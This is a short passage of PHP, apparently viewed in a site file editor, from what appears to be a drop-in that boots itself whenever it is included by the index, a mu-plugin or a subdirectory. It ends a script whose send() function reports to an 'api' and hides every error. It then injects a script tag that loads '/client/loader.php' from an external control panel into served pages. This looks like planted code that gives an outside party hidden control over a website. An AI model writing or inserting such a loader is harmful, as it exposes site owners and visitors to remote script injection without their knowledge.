(j&&j.error)||"api"); } }).catch(function(){}); } catch(e) {} } send(); })(); </script>'; echo '<script src="' . htmlspecialchars($panel . '/client/loader.php', ENT_QUOTES, 'UTF-8') . '"></script>'; echo '</body></html>'; exit; } // Include edildiğinde (index / mu-plugin / alt dizin boot) te_dropin_boot();
Save